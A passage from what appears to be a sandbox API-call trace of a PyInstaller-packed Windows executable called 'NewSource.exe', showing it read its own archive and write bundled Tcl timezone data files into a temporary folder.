lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.181] GetFileType (hFile=0x10c) returned 0x1 [0042.181] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.181] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.181] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.181] CloseHandle (hObject=0x10c) returned 1 [0042.181] GetLastError () returned 0x0 [0042.181] SetLastError (dwErrCode=0x0) [0042.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.181] GetFileType (hFile=0x10c) returned 0x1 [0042.181] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.181] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.182] CloseHandle (hObject=0x10c) returned 1 [0042.182] GetLastError () returned 0x0 [0042.182] SetLastError (dwErrCode=0x0) [0042.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.182] GetFileType (hFile=0x10c) returned 0x1 [0042.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.182] CloseHandle (hObject=0x10c) returned 1 [0042.182] GetLastError () returned 0x0 [0042.182] SetLastError (dwErrCode=0x0) [0042.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8") returned 66 [0042.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-8"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.182] GetLastError () returned 0x2 [0042.182] SetLastError (dwErrCode=0x2) [0042.182] GetLastError () returned 0x2 [0042.182] SetLastError (dwErrCode=0x2) [0042.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8", lpFilePart=0x0) returned 0x41 [0042.183] GetLastError () returned 0x2 [0042.183] SetLastError (dwErrCode=0x2) [0042.183] GetLastError () returned 0x2 [0042.183] SetLastError (dwErrCode=0x2) [0042.183] GetLastError () returned 0x2 [0042.183] SetLastError (dwErrCode=0x2) [0042.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8") returned 66 [0042.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.183] GetFileType (hFile=0x10c) returned 0x1 [0042.183] htonl (hostlong=0x71000000) returned 0x71 [0042.183] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.183] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.184] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.184] CloseHandle (hObject=0x10c) returned 1 [0042.184] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.184] htonl (hostlong=0x30000000) returned 0x30 [0042.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.184] GetFileType (hFile=0x10c) returned 0x1 [0042.185] htonl (hostlong=0x14c15b00) returned 0x5bc114 [0042.186] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607114, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.186] htonl (hostlong=0x73000000) returned 0x73 [0042.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.186] htonl (hostlong=0x73000000) returned 0x73 [0042.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.186] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.186] htonl (hostlong=0x71000000) returned 0x71 [0042.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.186] htonl (hostlong=0x73000000) returned 0x73 [0042.186] htonl (hostlong=0x71000000) returned 0x71 [0042.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.186] CloseHandle (hObject=0x10c) returned 1 [0042.186] GetLastError () returned 0x0 [0042.186] SetLastError (dwErrCode=0x0) [0042.186] GetLastError () returned 0x0 [0042.186] SetLastError (dwErrCode=0x0) [0042.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.186] GetFileType (hFile=0x10c) returned 0x1 [0042.186] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.187] CloseHandle (hObject=0x10c) returned 1 [0042.187] GetLastError () returned 0x0 [0042.187] SetLastError (dwErrCode=0x0) [0042.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.187] GetFileType (hFile=0x10c) returned 0x1 [0042.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.187] CloseHandle (hObject=0x10c) returned 1 [0042.187] GetLastError () returned 0x0 [0042.187] SetLastError (dwErrCode=0x0) [0042.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.187] GetFileType (hFile=0x10c) returned 0x1 [0042.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.188] CloseHandle (hObject=0x10c) returned 1 [0042.188] GetLastError () returned 0x0 [0042.188] SetLastError (dwErrCode=0x0) [0042.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9") returned 66 [0042.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-9"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.188] GetLastError () returned 0x2 [0042.188] SetLastError (dwErrCode=0x2) [0042.188] GetLastError () returned 0x2 [0042.188] SetLastError (dwErrCode=0x2) [0042.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9", lpFilePart=0x0) returned 0x41 [0042.188] GetLastError () returned 0x2 [0042.188] SetLastError (dwErrCode=0x2) [0042.188] GetLastError () returned 0x2 [0042.188] SetLastError (dwErrCode=0x2) [0042.188] GetLastError () returned 0x2 [0042.188] SetLastError (dwErrCode=0x2) [0042.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9") returned 66 [0042.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.210] GetFileType (hFile=0x10c) returned 0x1 [0042.210] htonl (hostlong=0x71000000) returned 0x71 [0042.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.210] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.211] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.211] CloseHandle (hObject=0x10c) returned 1 [0042.212] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.212] htonl (hostlong=0x30000000) returned 0x30 [0042.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.212] GetFileType (hFile=0x10c) returned 0x1 [0042.212] htonl (hostlong=0x87c15b00) returned 0x5bc187 [0042.212] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607187, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.212] htonl (hostlong=0x7f000000) returned 0x7f [0042.212] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f) returned 0x55cfe0 [0042.212] htonl (hostlong=0x7f000000) returned 0x7f [0042.212] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.212] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.213] htonl (hostlong=0x99000000) returned 0x99 [0042.213] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x550600 [0042.213] htonl (hostlong=0x7f000000) returned 0x7f [0042.213] htonl (hostlong=0x99000000) returned 0x99 [0042.213] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.213] CloseHandle (hObject=0x10c) returned 1 [0042.213] GetLastError () returned 0x0 [0042.213] SetLastError (dwErrCode=0x0) [0042.213] GetLastError () returned 0x0 [0042.213] SetLastError (dwErrCode=0x0) [0042.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.213] GetFileType (hFile=0x10c) returned 0x1 [0042.213] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.213] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.213] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.213] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.213] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.213] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: 